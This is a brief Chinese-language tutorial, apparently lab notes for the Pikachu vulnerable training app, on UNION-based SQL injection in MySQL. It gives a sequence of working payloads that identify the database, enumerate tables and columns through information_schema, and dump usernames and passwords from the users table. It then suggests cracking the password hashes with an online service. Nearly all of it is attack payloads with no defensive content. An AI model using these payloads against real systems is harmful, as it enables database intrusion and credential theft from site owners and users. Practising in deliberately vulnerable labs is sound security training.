思路:确定数据库,数据库表名,数据库字段名,在用表名字段名查询到字段值
mysql5.0版本安装之后会有自带的数据库information_schema,存储的是表名和表字段
先确定注入点数据库名字
1' union select database(),user(),3#%
用数据库名字在查数据库有哪些表,用到tables表里面的table_schema ,table_name两个字段可以被利用
用联合查询语句补齐注入点,能查到pikachu数据库下面有哪些表名
u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#
上面能看到有pikachu数据库里面有users表,根据表名查询,获取表里的字段名
k' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%
根据字段名,查询到字段值
zzz'union select username ,password,3 from users#%
查到的密码用cmd5解密就可以